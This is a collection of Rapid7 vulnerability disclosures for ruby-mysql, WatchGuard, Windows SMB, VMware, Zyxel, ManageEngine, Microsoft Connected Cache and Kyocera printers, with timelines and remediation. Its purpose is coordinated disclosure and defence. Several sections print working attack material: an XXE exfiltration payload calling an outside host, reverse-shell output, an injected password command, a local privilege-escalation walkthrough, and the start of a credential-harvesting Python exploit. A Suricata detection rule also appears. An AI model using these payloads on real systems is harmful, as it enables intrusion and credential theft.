As stated, this issue only affects Ruby-based MySQL clients that connect to malicious MySQL servers. The vast majority of clients already know who they’re connecting to, and while an attacker could poison DNS records or otherwise intercede in network traffic to capture unwitting clients, such network shenanigans will be foiled by routine security controls like SSL certificates. The true risk is posed only to those people who connect to random and unknown MySQL servers in unfamiliar environments.
In other words, penetration testers and other opportunistic MySQL attackers are most at risk from this kind of vulnerability. CVE-2021-3779 fits squarely in the category of “hacking the hackers,” where an aggressive honeypot is designed to lie in wait for wandering MySQL scanners and attackers and steal data local to those connecting clients.
This is the reason why Hans-Martin Münch of MOGWAI LABS GmbH first brought this to Rapid7’s attention as an issue in Metasploit. While Metasploit users are indeed the most at risk to falling victim to an exploit for this vulnerability, the underlying issue was quickly identified as one in the shared open-source library code that Metasploit depends on for managing MySQL connections to remote servers. (One such example is the MySQL hashdump auxiliary module.)
Remediation
Users who implement ruby-mysql should update their packaged gem with the latest version of ruby-mysql, as it has been fixed in version 2.10.0. The current version (as of this writing) is 3.0.0 and was released in November of 2021.
Users unable to update can patch around the issue by ensuring that CLIENT_LOCAL_FILES is disallowed by the client, similarly to how Metasploit Framework initially remediated this issue while waiting on a fix from the upstream maintainer.
Disclosure timeline
The astute reader will note a significant gap of several months between the fix release and this disclosure. This was a failure on my, Tod Beardsley’s, part, since I was handling this issue.
For the record, there was no intention to bury this vulnerability — after all, we communicated it to the Tomita (the maintainer), RubyGems (who pointed us in the direction of Rubysec, thanks André), CERT/CC, and JPCERT/CC, so hopefully the intention to disclose in a timely manner was and is obvious.
But a confluence of family tragedies and home-office technical disasters conspired with the usual complications of a multi-stakeholder, multi-continent effort to coordinate disclosure in open-source library code.
I am also acutely aware of the irony of this delay in light of my recent post on silent patches, and I offer apologies for that delay. I am committed to being better with backups, both of the data and human varieties.
Note that all dates are local to the United States (some dates may differ in Japan and Germany depending on the time of day).
August, 2021: Issue discovered by Hans-Martin Münch of MOGWAI LABS GmbH.
Thu, Sep 2, 2021: Issue reported to Rapid7’s security contact as a Metasploit issue, #9286.
Tue, Sep 7, 2021: Rapid7 validated the issue, reserved CVE-2021-3779, and contacted the vulnerable gem maintainer, Tomita Masahiro.
Tue, Sep 8, 2021: Notified CERT/CC and RubyGems for disclosure coordination, as the gem appeared to be abandoned by the maintainer given no updates in several years.
Tue, Sep 9, 2021: Notified JPCERT/CC through VINCE on CERT/CC’s advice, as VU#541053.
Thu, Sep 10, 2021: JPCERT/CC acknowledged the issue and attempted to contact the gem maintainer.
Mon, Oct 18, 2021: Maintainer responded to JPCERT/CC, acknowledging the issue.
Fri, Oct 22, 2021: Fixed version 2.10.0 released, Rapid7 notified Hans-Martin of the fix.
Wed, Feb 16, 2022: CERT/CC asks for an update on the issue, Rapid7 communicates the fix to CERT/CC and JPCERT/CC.
Tue, Jun 6, 2022: CERT/CC asks for an update, Rapid7 commits to sharing disclosure documentation.
Tue, Jun 14, 2022: Rapid7 shares disclosure details with CERT/CC and Hans-Martin, and asks JPCERT/CC to communicate this document to Tomita.
Tue, June 28, 2022: This public disclosure
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A remote and low-privileged WatchGuard Firebox or XTM user can read arbitrary system files when using the SSH interface due to an argument injection vulnerability affecting the diagnose command. Additionally, a remote and highly privileged user can write arbitrary system files when using the SSH interface due to an argument injection affecting the import pac command. Rapid7 reported these issues to WatchGuard, and the vulnerabilities were assigned CVE-2022-31749. On June 23, Watchguard published an advisory and released patches in Fireware OS 12.8.1, 12.5.10, and 12.1.4.
Background
WatchGuard Firebox and XTM appliances are firewall and VPN solutions ranging in form factor from tabletop, rack mounted, virtualized, and “rugged” ICS designs. The appliances share a common underlying operating system named Fireware OS.
At the time of writing, there are more than 25,000 WatchGuard appliances with their HTTP interface discoverable on Shodan. There are more than 9,000 WatchGuard appliances exposing their SSH interface.
In February 2022, GreyNoise and CISA published details of WatchGuard appliances vulnerable to CVE-2022-26318 being exploited in the wild. Rapid7 discovered CVE-2022-31749 while analyzing the WatchGuard XTM appliance for the writeup of CVE-2022-26318 on AttackerKB.
CVE-2022-31749 is an argument injection into the ftpput and ftpget commands. The arguments are injected when the SSH CLI prompts the attacker for a username and password when using the diagnose or import pac commands. For example:
WG>diagnose to ftp://test/test
Name: username
Password:
The “Name” and “Password” values are not sanitized before they are combined into the “ftpput” and “ftpget” commands and executed via librmisvc.so. Execution occurs using execle, so command injection isn’t possible, but argument injection is. Using this injection, an attacker can upload and download arbitrary files.
File writing turns out to be less useful than an attacker would hope. The problem, from an attacker point of view, is that WatchGuard has locked down much of the file system, and the user can only modify a few directories: /tmp/, /pending/, and /var/run. At the time of writing, we don’t see a way to escalate the file write into code execution, though we wouldn’t rule it out as a possibility.
The low-privileged user file read is interesting because WatchGuard has a built-in low-privileged user named status. This user is intended to “read-only” access to the system. In fact, historically speaking, the default password for this user was “readonly”. Using CVE-2022-31749 this low-privileged user can exfiltrate the configd-hash.xml file, which contains user password hashes when Firebox-DB is in use. Example:
The hashes are just unsalted MD4 hashes. @funoveripwrote about cracking these weak hashes using Hashcat all the way back in 2013.
Exploitation
Rapid7 has published a proof of concept that exfiltrates the configd-hash.xml file via the diagnose command. The following video demonstrates its use against WatchGuard XTMv 12.1.3 Update 8.
Remediation
Apply the WatchGuard Fireware updates. If possible, remove internet access to the appliance’s SSH interface. Out of an abundance of caution, changing passwords after updating is a good idea.
Vendor statement
WatchGuard thanks Rapid7 for their quick vulnerability report and willingness to work through a responsible disclosure process to protect our customers. We always appreciate working with external researchers to identify and resolve vulnerabilities in our products and we take all reports seriously. We have issued a resolution for this vulnerability, as well as several internally discovered issues, and advise our customers to upgrade their Firebox and XTM products as quickly as possible. Additionally, we recommend all administrators follow our published best practices for secure remote management access to their Firebox and XTM devices.
Disclosure timeline
March, 2022: Discovered by Jake Baines of Rapid7 Mar 29, 2022: Reported to Watchguard via support phone, issue assigned case number 01676704. Mar 29, 2022: Watchguard acknowledged follow-up email. April 20, 2022: Rapid7 followed up, asking for progress. April 21, 2022: WatchGuard acknowledged again they were researching the issue. May 26, 2022: Rapid7 checked in on status of the issue. May 26, 2022: WatchGuard indicates patches should be released in June, and asks about CVE assignment. May 26, 2022: Rapid7 assigns CVE-2022-31749 June 23, 2022: This disclosure
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A remote and unauthenticated attacker can trigger a denial-of-service condition on Microsoft Windows Domain Controllers by leveraging a flaw that leads to a null pointer deference within the Windows kernel. We believe this vulnerability would be scored as CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H or 7.5. This vulnerability was silently patched by Microsoft in April of 2022 in the same batch of changes that addressed the unrelated CVE-2022-24500 vulnerability.
Credit
This issue was fixed by Microsoft without disclosure in April 2022, but because it was originally classed as a mere stability bug fix, it did not go through the usual security issue process. In May, Spencer McIntyre of Rapid7 discovered this issue while researching the fix for CVE-2022-24500 and determined the security implications of CVE-2022-32230. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
CVE-2022-32230 is caused by a missing check in srv2!Smb2ValidateVolumeObjectsMatch to verify that a pointer is not null before reading a PDEVICE_OBJECT from it and passing it to IoGetBaseFileSystemDeviceObject. The following patch diff shows the function in question for Windows 10 21H2 (unpatched version 10.0.19041.1566 on the left).
This function is called from the dispatch routine for an SMB2 QUERY_INFO request of the FILE_INFO / FILE_NORMALIZED_NAME_INFORMATION class. Per the docs in MS-SMB2 section 3.3.5.20.1 Handling SMB2_0_INFO_FILE, FILE_NORMALIZED_NAME_INFORMATION is only available when the dialect is 3.1.1.
For FileNormalizedNameInformation information class requests, if not supported by the server implementation<392>, or if Connection.Dialect is "2.0.2", "2.1" or "3.0.2", the server MUST fail the request with STATUS_NOT_SUPPORTED.
To trigger this code path, a user would open any named pipe from the IPC$ share and make a QUERY_INFO request for the FILE_NORMALIZED_NAME_INFORMATION class. This typically requires user permissions or a non-default configuration enabling guest access. This is not the case, however, for the noteworthy exception of domain controllers where there are multiple named pipes that can be opened anonymously, such as netlogon. An alternative named pipe that can be used but does typically require permissions is the srvsvc pipe.
Under normal circumstances, the FILE_NORMALIZED_NAME_INFORMATION class would be used to query the normalized name information of a file that exists on disk. This differs from the exploitation scenario which queries a named pipe.
A system that has applied the patch for this vulnerability will respond to the request with the error STATUS_NOT_SUPPORTED.
Proof of concept
A proof-of-concept Metasploit module is available on GitHub. It requires Metasploit version 6.2 or later.
Impact
The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition. Given the current state of the art of exploitation, it is assumed that a null pointer dereference in the Windows kernel is not remotely exploitable for the purpose of arbitrary code execution without combining it with another, unrelated vulnerability.
In the default configuration, Windows will automatically restart after a BSOD.
Remediation
It is recommended that system administrators apply the official patches provided by Microsoft in their April 2022 update. If that is not possible, restricting access and disabling SMB version 3 can help remediate this flaw.
Disclosure timeline
April 12th, 2022 – Microsoft patches CVE-2022-32230 April 29th, 2022 – Rapid7 finds and confirms the vulnerability while investigating CVE-2022-24500 May 4th, 2022 – Rapid7 contacts MSRC to clarify confusion regarding CVE-2022-32230 May 18th, 2022 – Microsoft responds to Rapid7, confirming that the vulnerability now identified as CVE-2022-32230 is different from the disclosed vulnerability CVE-2022-24500 with which it was patched June 1, 2022 — Rapid7 reserves CVE-2022-32230 after discussing with Microsoft June 14th, 2022 – Rapid7 releases details in this disclosure, and Microsoft publishes its advisory
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A low-privileged local attacker can prevent the VMware Guest Authentication service (VGAuthService.exe) from running in a guest Windows environment and can crash this service, thus rendering the guest unstable. In some very contrived circumstances, the attacker can leak file content to which they do not have read access. We believe this would be scored as CVSSv3 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H or 6.1 and is an instance of CWE-73: External Control of File Name or Path.
Product description
The VMware Guest Authentication Service (VGAuthService.exe) is part of the VMware Tools suite of software used to provide integration services with other VMware services. It is commonly installed on Windows guest operating systems, though it appears that its only function is to mystify users when it fails.
Once running, the VMware Guest Authentication Service (VGAuthService.exe) is a service running with NT AUTHORITY/SYSTEM permissions and attempts to read files from the non-existent directory C:\Program%20Files\VMware\VMware%20Tools\ during start-up.
A low-privileged user can create this directory structure and cause VGAuthService.exe to read attacker controlled files. The files that the attacker controls are “catalog”, “xmldsig-core-schema.xsd”, and “xenc-schema.xsd”. These files are used to define the XML structure used to communicate with VGAuthService.exe.
However, actually modifying the structure of these files seems to have limited effects on VGAuthService.exe. Below, we describe a denial of service (which could take a number of forms) and a file content leak via XML External Entity.
Impact
The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition, and there is a remote possibility of privileged file content exfiltration.
Denial of service
A low-privileged user can prevent the service from starting by providing a malformed catalog file. For example, creating the file C:\Program%20Files\VMware\VMware%20Tools\etc\catalog with the contents of:
Will simply prevent the service from ever running due to the malformed uri field. The VGAuthService log file in C:\ProgramData\VMware\VMware VGAuth\logfile.txt.0 will contain this line:
[2022-02-01T14:03:50.100Z] [ warning] [VGAuthService] XML Error: uri entry 'uri' broken ?: \\10.0.0.2\fdsa\xenc-schema.xsd
After the “malicious” file is created, the system must be rebooted (or the service restarted). Until this happens, some remote tooling for the VMware guest will not function properly.
File content exfiltration via XML external entity (XXE) attacks, and the limitations thereof
VGAuthService uses XML libraries (libxmlsec and libxml2) that have XML External Entity processing capabilities. Because the attacker controls various XML files parsed by the service, the attacker in theory can execute XXE injection and XXE out-of-band (OOB) attacks to leak files that a low-privileged user can’t read (e.g. C:\windows\win.ini).
It is true that these styles of attacks do work against VGAuthService.exe, but there is a severe limitation. Traditionally, an XXE OOB attack leaks the file of the attackers choosing via an HTTP or FTP uri. For example, “http://attackurl:80/endpoint?FILEDATA” where FILEDATA is the contents of the file. However, the XML library that VGAuthService.exe is using, libxml2, is very strict about properly formatted URI and any space character or newline will cause the exfiltration to fail. For example, let’s say we wanted to perform an XXE OOB attack and leak the contents of C:\Windows\win.ini. I’d create the following file at C:\Program%20Files\VMware\VMware%20Tools\etc\catalog
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.0.0.2/r7.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
And then we’d create the file r7.dtd on 10.0.0.2:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.0.0.2/xxe?%data;'>">
And server the r7.dtd file via a python server on 10.0.0.2:
albinolobster@ubuntu:~/oob$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Once the attack is triggered, VGAuthService.exe will make quite a few HTTP requests to the attackers HTTP server:
But notice that none of those HTTP requests contain the contents of win.ini. To see why, let’s take a look at VGAuthService’s log file.
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: parser
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: error :
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: Invalid URI: http:///10.0.0.2/xxe?; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Here, we can see the contents of win.ini have been appended to http://10.0.0.2/xxe? and that has caused the XML library to error out due to an invalid URI. So we can’t leak win.ini over the network, but we were able to write it to VGAuthService’s log. Unfortunately (or fortunately, for defenders), the log file is only readable by administrative users, so leaking the contents of win.ini to the log file is no good for an attack.
An attacker can leak a file as long as it can be used to form a valid URI. I can think of one very specific case where ManageEngine has a “user” saved to file as “0:verylongpassword” where this could work. But that’s super specific. Either way, we can recreate this like so:
We then do the same attack as above, but instead of <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> we do <!ENTITY % data SYSTEM "file:///c:/r7.txt">
After executing the attack, we’ll see this on our HTTP server:
While this is technically a low-privileged user leaking a file, it is quite contrived, and honestly an unlikely scenario.
Another common XXE attack is leaking NTLM hashes, but libxml2 doesn’t honor UNC paths so that isn’t a possibility. So, in conclusion, the low-privileged attacker can only deny access to the service and, very occasionally, leak privileged files.
Remediation
VMware administrators who expect low-privileged, untrusted users to interact directly with the guest operating system should apply the patch at their convenience to avoid the denial-of-service condition. As stated above, the likelihood of anyone exploiting this vulnerability to exfiltrate secrets from the guest operating system is quite low, but if those circumstances apply to your environment, more urgency in patching is warranted.
In the absence of a patch, VMware administrators can create the missing directory with write permissions limited to administrators, and this should mitigate the issue entirely.
Disclosure timeline
February, 2022: Issue discovered by Jake Baines of Rapid7
Rapid7 discovered and reported a vulnerability that affects Zyxel firewalls supporting Zero Touch Provisioning (ZTP), which includes the ATP series, VPN series, and the USG FLEX series (including USG20-VPN and USG20W-VPN). The vulnerability, identified as CVE-2022-30525, allows an unauthenticated and remote attacker to achieve arbitrary code execution as the nobody user on the affected device.
The following table contains the affected models and firmware versions.
Affected Model
Affected Firmware Version
USG FLEX 100, 100W, 200, 500, 700
ZLD5.00 thru ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN
ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800
ZLD5.10 thru ZLD5.21 Patch 1
The VPN series, which also supports ZTP, is not vulnerable because it does not support the required functionality.
Product description
The affected firewalls are advertised for both small branch and corporate headquarter deployments. They offer VPN solutions, SSL inspection, web filtering, intrusion protection, and email security, and advertise up to 5 Gbps throughput through the firewall.
The affected models are relatively popular, with more than 15,000 visible on Shodan.
The affected models are vulnerable to unauthenticated and remote command injection via the administrative HTTP interface. Commands are executed as the nobody user. This vulnerability is exploited through the /ztp/cgi-bin/handler URI and is the result of passing unsanitized attacker input into the os.system method in lib_wan_settings.py. The vulnerable functionality is invoked in association with the setWanPortSt command. An attacker can inject arbitrary commands into the mtu or the data parameter. Below is an example curl that will cause the firewall to execute ping 192.168.1.220:
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 192.168.1.1 37882
bash: cannot set terminal process group (11037): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Bash-5.1
Metasploit module
A Metasploit module has been developed for these vulnerabilities. The module can be used to establish a nobody Meterpreter session. The following video demonstrates exploitation:
We’ve shared a PCAP that captures Metasploit’s exploitation of a Zyxel USG FLEX 100. The PCAP can be found attached to the module’s pull request. The Metasploit module injects commands in the mtu field, and as such, the following Suricata rule should flag its use:
alert http any any -> any any ( \
msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
flow:to_server; \
http.method; content:"POST"; \
http.uri; content:"/ztp/cgi-bin/handler"; \
http.request_body; content:"setWanPortSt"; \
http.request_body; content:"mtu"; \
http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
classtype:misc-attack; \
sid:221270;)
Apply the vendor patch as soon as possible. If possible, enable automatic firmware updates. Disable WAN access to the administrative web interface of the system.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2022-30525 with a remote vulnerability check.
Disclosure timeline
Astute readers will notice this timeline is a little atypical for Rapid7 disclosures. In accordance with our 60-day disclosure policy, we suggested a coordinated disclosure date in June. Instead, Zyxel released patches to address this issue on April 28, 2022. At that time, Zyxel did not publish an associated CVE or security advisory. On May 9, Rapid7 independently discovered Zyxel’s uncoordinated disclosure. The vendor then reserved CVE-2022-30525.
This patch release is tantamount to releasing details of the vulnerabilities, since attackers and researchers can trivially reverse the patch to learn precise exploitation details, while defenders rarely bother to do this. Therefore, we’re releasing this disclosure early in order to assist defenders in detecting exploitation and to help them decide when to apply this fix in their own environments, according to their own risk tolerances. In other words, silent vulnerability patching tends to only help active attackers, and leaves defenders in the dark about the true risk of newly discovered issues.
April 2022 – Discovered by Jake Baines April 13, 2022 – Rapid7 discloses to [email protected]. Proposed disclosure date June 21, 2022. April 14, 2022 – Zyxel acknowledges receipt. April 20, 2022 – Rapid7 asks for an update and shares delight over “Here is how to pronounce ZyXEL’s name”. April 21, 2022 – Zyxel acknowledges reproduction of the vulnerabilities. April 28, 2022 – Zyxel releases patches without coordination with vulnerability reporter. April 29, 2022 – Zyxel indicates patch is likely to release before June 14, 2022. May 9, 2022 – Rapid7 realizes Zyxel already issued patches. Rapid7 asks Zyxel for a response on the silent patches and indicates that our team will publicly disclose the week of May 9, 2022. May 10, 2022 – Zyxel reserves CVE-2022-30525 and proposes a new disclosure schedule. May 12, 2022 – This disclosure bulletin and Metasploit module published.
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On April 9, 2022, ManageEngine fixed CVE-2022-28810 with the release of ADSelfService Plus Build 6122. The vulnerability allowed the admin user to execute arbitrary operating system commands and potentially allowed partially authenticated Active Directory users to execute arbitrary operating system commands via the password reset functionality. Rapid7’s Managed Detection and Response (MDR) team has observed this custom scripts feature in ADSelfService Plus being abused in the wild by remote attackers with valid administrative credentials.
Credit
This vulnerability was discovered by Rapid7 researchers Jake Baines, Hernan Diaz, Andrew Iwamaye, and Dan Kelly.
Exploitation
The vulnerability arose from a feature that allowed the admin user to execute arbitrary operating system commands after a password reset or account lockout status update.
The example provided by the UI is cscript test.vbs %userName %password% where test.vbs is supposed to be a file stored in C:\ManageEngine\ADSelfService Plus\bin by a user with local access to the underlying operating system. But the reality is that any commands could be stored here. An attacker that acquired the admin user’s password (default: admin) could trivially achieve remote command execution this way.
For example, the attacker could use the script command “cmd.exe /c whoami,” and when a user resets their password, the command “whoami” is executed.
Rapid7 MDR has observed this technique being actively leveraged in customer environments — compromised (or default) admin credentials have been used to execute arbitrary OS commands in order to gain persistence on the underlying system and attempt to pivot further into the environment.
Furthermore, the “%password%” variable was passed to the configured script without sanitization. Depending on the configured script, an attacker that is able to trigger a password reset could inject arbitrary operating system commands. For example, if the admin user configured the following script:
An attacker could inject arbitrary commands via password reset by providing a %password% like:
&& mkdir C:\ProgramData\helloworld && echo hi
Resulting in the directory “helloworld” being created in C:\ProgramData\.
Finally, because %password% isn’t sanitized or obfuscated at all, the admin user can observe all password changes, allowing them to effectively recover valid credentials for active directory accounts. As a proof of concept for this, we used the admin account to configure the password reset script to exfiltrate the new password to a server in the attacker’s control:
The attacker server would receive the following on password reset:
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.13 62065
GET /albinolobster=sl0wrunner! HTTP/1.1
Host: 10.0.0.2:1270
User-Agent: curl/7.55.1
Accept: */*
The patch
ManageEngine fixed this issue by no longer accepting scripts through the web interface. Post action scripts must now be placed on disk by a user with access to the underlying operating system. Furthermore, the script arguments are now base64 encoded. Here is an updated version of the Post Action interface.
Indicators of compromise
We encourage users of ManageEngine ADSelfService Plus to inspect the value they have configured in the Post Action fields. Using the admin account, you can navigate to the fields by following this pattern: Configuration -> Self Service -> Policy Configuration -> Advanced -> Password Sync.
We also highly encourage users to upgrade as soon as possible and to change the admin password.
Disclosure timeline
Tue, Apr 6, 2022: Initially discovered in the wild via Rapid7 Managed Detection and Response (MDR) service Tue April 6, 2022: Initial disclosure to the vendor via their reporting portal Wed April 7, 2022: Discussion with vendor about the issues, CVE assignment, and disclosure timelines Sat April 9, 2022: ManageEngine publishes a new version of ADSelfService Plus Tue Apr 12, 2022: Disclosed to CERT/CC and NCSC April 14, 2022: Rapid7 publishes their disclosure (this document)
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2022-28810 with an unauthenticated vulnerability check in the April 13, 2022 content release.
InsightIDR’s existing detection rules (listed below) are able to identify attacks that abuse this functionality. We recommend that you review your settings for these detection rules and confirm they are turned on and set to an appropriate rule action and priority for your organization:
Suspicious Process – Powershell Invoke-WebRequest
Attacker Technique – Attrib Sets File Or Directory As Hidden And System
Attacker Technique – Enumerating Domain Or Enterprise Admins With Net Command
Suspicious Process – Zoho ManageEngine Spawns Child
We have also added the following detection rule and prioritized it as Critical:
Attacker Technique – Hiding ScreenConnect With Attrib
Rapid7 detection logic is continuously reviewed to ensure detections are based on any observed attacker behavior seen by our Incident Response (IR), Managed Detection and Response (MDR), and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors and will make updates as necessary.
On April 12, 2022, Microsoft published CVE-2022-24527, a local privilege escalation vulnerability in Microsoft Connected Cache. The vulnerability allowed a local low-privileged user to execute arbitrary Powershell as SYSTEM due to improper file permission assignment (CWE-732).
When Connected Cache is in use on a Distribution Point, it is installed, in part, into C:\Doinc\. Below, you can see that there are some Powershell scripts within that directory:
Low-privileged users only have read and execute permissions on the Powershell scripts.
C:\Doinc\Product\Install\Tasks>icacls *.ps1
CacheNodeKeepAlive.ps1 NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\NETWORK SERVICE:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Maintenance.ps1 NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\NETWORK SERVICE:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
SetDrivesToHealthy.ps1 NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\NETWORK SERVICE:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 3 files; Failed processing 0 files
The Powershell scripts are executed every 60 seconds by the Task Scheduler as NT AUTHORITY\SYSTEM. All that is fine. The following part is where trouble begins. This is how SetDrivesToHealthy.ps1 starts:
When SetDrivesToHealthy.ps1 executes, it attempts to load the webAdministration module. Before searching the normal %PSModulePath% path, SetDrivesToHealthy.ps1 looks for the import in C:\Doinc\Product\Install\Tasks\WindowsPowerShell\Modules\webAdministration\. As we saw above, this directory doesn’t exist. And while low-privileged users can’t modify the Connected Cache PowerShell scripts, they do have sufficient privileges to add subdirectories and files to C:\Doinc\Product\Install\Tasks\:
C:\Doinc\Product\Install>icacls ./Tasks/
./Tasks/ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
NT AUTHORITY\NETWORK SERVICE:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
An attacker can create the necessary directory structure and place their own webAdministration so that SetDrivesToHealthy.ps1 will import it. In the proof of concept below, the low-privileged attacker creates the directory structure and creates a PowerShell script that creates the file C:\r7.
C:\Doinc\Product\Install\Tasks>dir C:\
Volume in drive C has no label.
Volume Serial Number is 3073-81A6
Directory of C:\
01/04/2022 05:01 PM <DIR> Doinc
01/04/2022 05:15 PM <DIR> DOINC-E77D08D0-5FEA-4315-8C95-10D359D59294
01/04/2022 03:48 PM <DIR> inetpub
07/07/2021 04:05 AM <DIR> PerfLogs
01/05/2022 09:29 AM <DIR> Program Files
01/05/2022 09:29 AM <DIR> Program Files (x86)
01/05/2022 09:16 AM <DIR> SCCMContentLib
01/05/2022 09:15 AM <DIR> SMSPKGC$
01/05/2022 09:17 AM <DIR> SMSSIG$
01/05/2022 09:17 AM <DIR> SMS_DP$
01/04/2022 05:04 PM <DIR> Users
01/04/2022 03:48 PM <DIR> Windows
0 File(s) 0 bytes
12 Dir(s) 239,837,327,360 bytes free
C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell
C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell\Modules\
C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell\Modules\webAdministration\
C:\Doinc\Product\Install\Tasks>echo New-Item C:\r7.txt > WindowsPowerShell\Modules\webAdministration\webAdministration.psm1
C:\Doinc\Product\Install\Tasks>dir C:\
Volume in drive C has no label.
Volume Serial Number is 3073-81A6
Directory of C:\
01/04/2022 05:01 PM <DIR> Doinc
01/04/2022 05:15 PM <DIR> DOINC-E77D08D0-5FEA-4315-8C95-10D359D59294
01/04/2022 03:48 PM <DIR> inetpub
01/05/2022 01:49 PM 0 r7.txt
07/07/2021 04:05 AM <DIR> PerfLogs
01/05/2022 09:29 AM <DIR> Program Files
01/05/2022 09:29 AM <DIR> Program Files (x86)
01/05/2022 09:16 AM <DIR> SCCMContentLib
01/05/2022 09:15 AM <DIR> SMSPKGC$
01/05/2022 09:17 AM <DIR> SMSSIG$
01/05/2022 09:17 AM <DIR> SMS_DP$
01/04/2022 05:04 PM <DIR> Users
01/04/2022 03:48 PM <DIR> Windows
1 File(s) 0 bytes
12 Dir(s) 239,836,917,760 bytes free
C:\Doinc\Product\Install\Tasks>icacls C:\r7.txt
C:\lol.txt NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
C:\Doinc\Product\Install\Tasks>
As you can see the C:\r7.txt file is created, demonstrating the privilege escalation. Process monitor capture attached screenshot from the process monitor captures the PowerShell module being read in and the file being created by the SYSTEM user.
Remediation
Follow Microsoft guidance on updating the Distribution Point software. If that is not possible, disabling the caching feature will effectively mitigate this issue.
Disclosure timeline
January 5, 2022: Issue disclosed to the vendor January 5, 2022: Vendor acknowledgement January 6, 2022: Vendor assigns a case identifier January 10-11, 2022: Vendor and researcher discuss clarifying details January 19, 2022: Vendor confirms the vulnerability February-March 2022: Vendor and researcher coordinate on disclosure date and CVE assignment April 12, 2022: Public disclosure (this document)
Rapid7 researcher Aaron Henderson has discovered that several models of Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function. This vulnerability is an instance of CWE-522: Insufficiently Protected Credentials, and has an estimated base CVSS 3.1 score of 8.6, given that the credentials exposed are used to authenticate to other endpoints, such as external FTP and SMB servers.
Product description
Many Kyocera multifunction printers (MFPs) can be administered using Net Viewer. Two such supported and tested models of MFPs are the ECOSYS M2640idw and the TASKalfa 406ci. These printers can be routinely found in both home office and enterprise environments around the world.
Kyocera exposes a SOAP API on port 9091/TCP used for remote printer management via the Net Viewer thick client application. While the API supports authentication, and the thick client performs this authentication, while capturing the SOAP requests, it was observed that the specific request to extract an address book, `POST /ws/km-wsdl/setting/address_book` does not require an authenticated session to submit. Those address books, in turn, contain stored email addresses, usernames, and passwords, which are normally used to store scanned documents on external services or send to users over email.
Exploitation details
In order to exploit the vulnerability, an attacker need only be on a network that can reach the MFP’s listening SOAP service on port 9091/TCP. The screenshot below describes submitting an unauthenticated SOAP request to that service, `POST /ws/km-wsdl/setting/address_book` with the described XML.
This instructs the printer to prepare an address book object to be downloaded containing all sensitive data configured in the address book. The printer will respond with an address book enumeration object number, which is ‘5’ in this instance:
Once that object number is received, an attacker can populate the “<ns1:enumeration>” value with that number in a SOAP request, wsa:Action get_personal_address_list, using the same POST endpoint, as shown below.
This will return the printer address book with all configured email addresses, FTP credentials, and network SMB file share credentials stored for user scanning to network shares, in fairly readable XML:
Finally, credentials can be harvested from the provided login_password fields:
Exploit proof of concept
A proof-of-concept (PoC) Python exploit is shown below. Note the time.sleep(5) call, which allows the printer time to first generate the address book.
PoC Python code:
"""
Kyocera printer exploit
Extracts sensitive data stored in the printer address book, unauthenticated, including:
*email addresses
*SMB file share credentials used to write scan jobs to a network fileshare
*FTP credentials
Author: Aaron Herndon, @ac3lives (Rapid7)
Date: 11/12/2021
Tested versions:
* ECOSYS M2640idw
* TASKalfa 406ci
*
Usage:
python3 getKyoceraCreds.py printerip
"""
import requests
import xmltodict
import warnings
import sys
import time
warnings.filterwarnings("ignore")
url = "https://{}:9091/ws/km-wsdl/setting/address_book".format(sys.argv[1])
headers = {'content-type': 'application/soap+xml'}
# Submit an unauthenticated request to tell the printer that a new address book object creation is required
